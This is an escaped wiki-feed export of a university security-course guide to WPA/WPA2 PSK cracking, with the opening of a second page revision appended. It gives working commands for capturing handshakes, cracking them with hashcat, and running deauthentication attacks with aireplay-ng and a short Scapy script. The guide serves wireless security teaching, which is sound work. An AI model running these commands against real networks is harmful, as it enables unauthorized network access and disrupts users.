&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17578</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17578"/>
		<updated>2024-12-18T17:59:54Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Used Hardware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
